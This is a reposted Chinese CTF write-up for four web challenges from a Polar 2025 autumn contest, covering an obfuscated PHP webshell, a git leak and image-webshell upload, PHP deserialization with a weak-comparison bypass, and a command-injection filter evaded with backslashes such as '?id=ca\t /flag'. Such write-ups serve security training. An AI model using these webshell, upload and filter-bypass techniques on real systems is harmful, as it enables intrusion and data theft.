news 2026/4/18 7:53:56

polar2025年秋季个人挑战赛(困难部分)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
polar2025年秋季个人挑战赛(困难部分)

狗黑子的eval

查看源码并没有什么信息,小习惯,扫一下目录

我们查看下

我们看admin.php

查看源代码

有一个payload.php

<?php highlight_file(__FILE__); //gou=a,gougou=b; $gou1="12gou";$gou5="16gou";$gou4="5gou";$gou6="gou"; $gou2="22gou";$gou3="15gou"; $gou7="c3Rnbw=="; $gou8='5pys572R6aG15piv5LiA5Liq5zyo57q/5bel5YW377yM5Y+v5Lul5oqK5a2X56ym5Liy6L2s5oiQIEJhc2U2NzCDmiJbogIXku44gQmFzzTY0IOi9rOaIkOaIkOWtl+espuS4s'; $gou13=$gou8{34};$gou17=$gou8{10};$gou12=$gou8{15};$gou10=$gou8{105};$gou14=$gou12;$gou11=$gou8{51}; $gou=$gou4.$gou2.$gou6.$gou1.$gou5.$gou3.$gou7.$gou8.$gou11.$gou13.$gou17.$gou12.$gou10.$gou14; ?>
gou=a,gougou=b; 意思是1gou=a,2gou=gougou=b,3gou=gougougou=c $gou1="12gou";$gou5="16gou";$gou4="5gou";$gou6="gou"; 12gou=l,16gou=p,5gou=e,gou=a $gou2="22gou";$gou3="15gou"; 22gou=v,15gou=o $gou7="c3Rnbw=="; base64解码为stgo $gou8='a5pys572R6aG15piv5LiA5Liq5zyo57q/5bel5YW377yM5Y+v5Lul5oqK5a2X56ym5Liy6L2s5oiQIEJhc2U2NzCDmiJbogIXku44gQmFzzTY0IOi9rOaIkOaIkOWtl+espuS4s'; $gou13=$gou8{34};$gou17=$gou8{10};$gou12=$gou8{15};$gou10=$gou8{105};$gou14=$gou12;$gou11=$gou8{51}; 根据提示这里需要从1开始,php数组是从零开始算,我们的5就不被执行了我们在5的前面多加一个字符,这样就从5开始 我们已经解开了前半部分后半部分需要借助脚本的完整 前半部分为 $gou4.$gou2.$gou6.$gou1.$gou5.$gou3.$gou7. evalpostgo

我们对代码进行修改和补充

<?php highlight_file(__FILE__); //gou=a,gougou=b; $gou1="12gou";$gou5="16gou";$gou4="5gou";$gou6="gou"; $gou2="22gou";$gou3="15gou"; $gou7="c3Rnbw=="; $gou8='a5pys572R6aG15piv5LiA5Liq5zyo57q/5bel5YW377yM5Y+v5Lul5oqK5a2X56ym5Liy6L2s5oiQIEJhc2U2NzCDmiJbogIXku44gQmFzzTY0IOi9rOaIkOaIkOWtl+espuS4s'; $gou13=$gou8[34];$gou17=$gou8[10];$gou12=$gou8[15];$gou10=$gou8[105];$gou14=$gou12;$gou11=$gou8[51]; $gou=$gou4.$gou2.$gou6.$gou1.$gou5.$gou3.$gou7.$gou8.$gou11.$gou13.$gou17.$gou12.$gou10.$gou14; $g=$gou11.$gou13.$gou17.$gou12.$gou10.$gou14; echo "evalpostgo",$g; ?> evalpostgoubaizi

这里的大括号不能使用,属于语法错误,我们改成中括号

在这里可以看到如果5在0的位置上我们得得到得就是乱码,没有任何逻辑

evalpostgoleGvzv

从得得到的结果看evalpostgoubaizi

正确的样子为eval post goubaizi

看起来像是一句话木马,我们还扫到了shell.php

应该是木马文件

不能命令执行,我们蚁剑连接

但是蚁剑连接显示为空,会不会是无回显,我们尝试把我们的代码带出来

成功带出

常规位置并没有flag

我们查找一下flag的位置

find / -name "*flag*" 2>/dev/null

/etc/flag

我们访问一下

成功获取flag

php混淆壳,无回显命令执行

狗黑子的登录

扫目录起手

我们可以看到git泄露

githacker --url http://c2263eb9-e216-476d-90e5-f2f7f71a097d.www.polarctf.com:8090/.git/ --output-folder zhaxiang

我们把文件下载下来

<?php session_start(); if (isset($_SESSION['logged_in']) && $_SESSION['logged_in'] === true) { header('Location: admin.php'); exit; } if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['seclients_can_register'])) { $registerValue = $_POST['seclients_can_register']; // 明确处理0和1两种情况 if ($registerValue == 1) { $_SESSION['show_register'] = true; } elseif ($registerValue == 0) { $_SESSION['show_register'] = false; } } // 处理登录 $error = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['login'])) { $username = $_POST['username'] ?? ''; $password = $_POST['password'] ?? ''; require 'config.php'; if (isset($users[$username]) && $users[$username] === $password) { $_SESSION['logged_in'] = true; $_SESSION['username'] = $username; header('Location: admin.php'); exit; } else { $error = '用户名或密码不正确'; } } ?> <!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="UTF-8"> <title>狗黑子的小破站</title> <style> body { font-family: Arial, sans-serif; display: flex; justify-content: center; align-items: center; height: 100vh; margin: 0; background-color: #f0f0f0; } .login-container { background-color: white; padding: 2rem; border-radius: 8px; box-shadow: 0 0 10px rgba(0,0,0,0.1); } .form-group { margin-bottom: 1rem; } label { display: block; margin-bottom: 0.5rem; } input { width: 100%; padding: 0.5rem; border: 1px solid #ddd; border-radius: 4px; } button { width: 100%; padding: 0.5rem; background-color: #007bff; color: white; border: none; border-radius: 4px; cursor: pointer; } button:hover { background-color: #0056b3; } .error { color: red; margin-bottom: 1rem; } .register-btn { margin-top: 1rem; font-size: 0.8rem; padding: 0.3rem; background-color: #6c757d; } .register-btn:hover { background-color: #5a6268; } </style> </head> <body> <div class="login-container"> <h2>用户登录</h2> <?php if ($error): ?> <div class="error"><?php echo $error; ?></div> <?php endif; ?> <form method="post"> <div class="form-group"> <label for="username">用户名</label> <input type="text" id="username" name="username" required> </div> <div class="form-group"> <label for="password">密码</label> <input type="password" id="password" name="password" required> </div> <button type="submit" name="login">登录</button> <?php if (isset($_SESSION['show_register']) && $_SESSION['show_register'] === true): ?> <button type="button" class="register-btn" onclick="window.location.href='register.php'">注册</button> <?php endif; ?> </form> </div> </body> </html>
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['seclients_can_register'])) { $registerValue = $_POST['seclients_can_register']; // 明确处理0和1两种情况 if ($registerValue == 1) { $_SESSION['show_register'] = true; } elseif ($registerValue == 0) { $_SESSION['show_register'] = false; } }

在这里发现注册页面,我们现在开始进行注册

我们现在开始登录

成功登录

<?php session_start(); if (!isset($_SESSION['logged_in']) || $_SESSION['logged_in'] !== true) { header('Location: index.php'); exit; } if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['seclients_can_upload']) && $_POST['seclients_can_upload'] == 1) { $_SESSION['show_upload'] = true; } $upload_message = ''; if (isset($_SESSION['show_upload']) && $_SESSION['show_upload'] === true && $_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) { $target_dir = "uploads/"; if (!file_exists($target_dir)) { mkdir($target_dir, 0777, true); } $target_file = $target_dir . basename($_FILES["file"]["name"]); $uploadOk = true; if ($_FILES["file"]["size"] < 200 * 1024) { $upload_message = "文件太小了。"; $uploadOk = false; } $image_types = array('image/jpeg', 'image/png', 'image/gif', 'image/webp'); $file_type = $_FILES["file"]["type"]; if (!in_array($file_type, $image_types)) { $upload_message = "只允许上传图片文件 (JPG, PNG, GIF, WEBP)。"; $uploadOk = false; } if ($uploadOk && move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) { $upload_message = "文件 " . htmlspecialchars(basename($_FILES["file"]["name"])) . " 上传成功。"; } elseif ($uploadOk) { $upload_message = "文件上传失败。"; } } ?> <!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="UTF-8"> <title>狗黑子的小破站</title> <style> body { font-family: Arial, sans-serif; padding: 2rem; } .upload-section { margin-top: 2rem; padding: 1rem; border: 1px solid #ddd; border-radius: 4px; } .message { margin: 1rem 0; padding: 1rem; border-radius: 4px; } .success { background-color: #d4edda; color: #155724; } .error { background-color: #f8d7da; color: #721c24; } button { padding: 0.5rem 1rem; background-color: #dc3545; color: white; border: none; border-radius: 4px; cursor: pointer; } button:hover { background-color: #c82333; } input[type="file"] { margin: 1rem 0; } input[type="submit"] { padding: 0.5rem 1rem; background-color: #28a745; color: white; border: none; border-radius: 4px; cursor: pointer; } input[type="submit"]:hover { background-color: #218838; } </style> </head> <body> <h1>恭喜进来<?php echo htmlspecialchars($_SESSION['username']); ?>!</h1> <p><a href="logout.php"><button>退出登录</button></a></p> <?php if ($upload_message): ?> <div class="message <?php echo strpos($upload_message, '成功') !== false ? 'success' : 'error'; ?>"> <?php echo $upload_message; ?> </div> <?php endif; ?> <?php if (isset($_SESSION['show_upload']) && $_SESSION['show_upload'] === true): ?> <div class="upload-section"> <h2>文件上传</h2> <form method="post" enctype="multipart/form-data"> <input type="file" name="file" id="file"> <br> <input type="submit" value="上传文件" name="upload"> </form> </div> <?php endif; ?> </body> </html>
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['seclients_can_upload']) && $_POST['seclients_can_upload'] == 1) { $_SESSION['show_upload'] = true; } $upload_message = ''; if (isset($_SESSION['show_upload']) && $_SESSION['show_upload'] === true && $_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) { $target_dir = "uploads/"; if (!file_exists($target_dir)) { mkdir($target_dir, 0777, true); } $target_file = $target_dir . basename($_FILES["file"]["name"]); $uploadOk = true; if ($_FILES["file"]["size"] < 200 * 1024) { $upload_message = "文件太小了。"; $uploadOk = false; } $image_types = array('image/jpeg', 'image/png', 'image/gif', 'image/webp'); $file_type = $_FILES["file"]["type"]; if (!in_array($file_type, $image_types)) { $upload_message = "只允许上传图片文件 (JPG, PNG, GIF, WEBP)。"; $uploadOk = false; }

分析源码,得到seclients_can_upload上传文件的路径

只能上传图片,大小必须大于200

上传一个文件大小大于200的图片马再改后缀

成功上传

获取flag

git泄露,信息收集,命令执行

ZGZH

tip:反序列化,把不需要的删掉

让我们构造反序列化,但是没有给我们类也没有参数

<?php class User { public $username ="AAA"; } $a = new User(); echo serialize($a); ?>

随便构造一个

仅允许包含当前目录下的合法文件

扫目录发现当前文件下有flag.php

去包含flag.php

<?php class User{ public $username; } $a = new User(); $a -> username ="flag.php"; echo urlencode(serialize($a)); ?>

或者直接打开flag.php,都会直接输出

进入pass.php

是弱比较绕过

满足弱比较条件提交857.00E+0000,即可获得flag

奇怪的php反序列化,弱比较

老刘的小店

一个登录页面,我们点击加入,注册一个账号

我们可以看到

我们可以再拿到3个代币远远不够我们的需要

发现可以进行转账,我们在创一个账号尝试进行抓包转账,更改金额看看可以不可以

创建一个账号b,给账号a进行转账

进行改包

看来是成功了,我们登录a来看看

现在开始买买买

其他三个信息一点用都没有

没关系,现在我们拿到了管理员的账号

在页面中没有有用的信息

查看源码发现

if (isset($_GET['id'])) { $id=$_GET['id']; if(preg_match("/ls|dir|flag|type|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i",$id)) { $output = '你想干什么?'; }else{ system($id); } }

过滤的看似我们没法了实则没有

我们可以使用\来绕过

?id=l\s ?id=l\s / ?id=ca\t /flag

成功获取flag

waf绕过命令执行

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/18 6:58:22

历数ishidepath的四宗“罪”(PythonDeepSeek梦幻精灵_cq)

四“罪”并发展奇妙&#xff0c;三赢抒写创阅机。 笔记模板由python脚本于2025-12-16 23:19:18创建&#xff0c;本篇笔记适合行为不羁的coder翻阅。 学习的细节是欢悦的历程 博客的核心价值&#xff1a;在于输出思考与经验&#xff0c;而不仅仅是知识的简单复述。 Python官网&a…

作者头像 李华
网站建设 2026/4/17 13:06:50

BBDown实战教程:从零开始掌握B站视频下载技巧

BBDown实战教程&#xff1a;从零开始掌握B站视频下载技巧 【免费下载链接】BBDown Bilibili Downloader. 一款命令行式哔哩哔哩下载器. 项目地址: https://gitcode.com/gh_mirrors/bb/BBDown BBDown作为一款专业的命令行式B站视频下载工具&#xff0c;为技术爱好者提供了…

作者头像 李华
网站建设 2026/4/17 23:38:48

MapGIS Objects Java三维场景中如何实现可视域分析

三维场景中如何实现可视域分析 一、介绍 MapGIS Objects SDK &#xff1a; 是一款组件式地理信息开发平台&#xff0c;提供全空间数据存储、管理、显示、编辑、查询、分析、制图输出等二三维一体化核心 GIS 功能&#xff0c;提供 C、.NET、Java、Python 等开发资源&#xff0…

作者头像 李华
网站建设 2026/4/18 5:41:59

LobeChat心理咨询辅助工具开发设想

LobeChat心理咨询辅助工具开发设想 在心理健康服务需求持续增长的今天&#xff0c;专业资源却始终供不应求。许多人因费用、 stigma 或地理位置限制而无法及时获得心理支持。与此同时&#xff0c;AI技术正以前所未有的速度演进——大语言模型不仅能理解复杂情绪表达&#xff0c…

作者头像 李华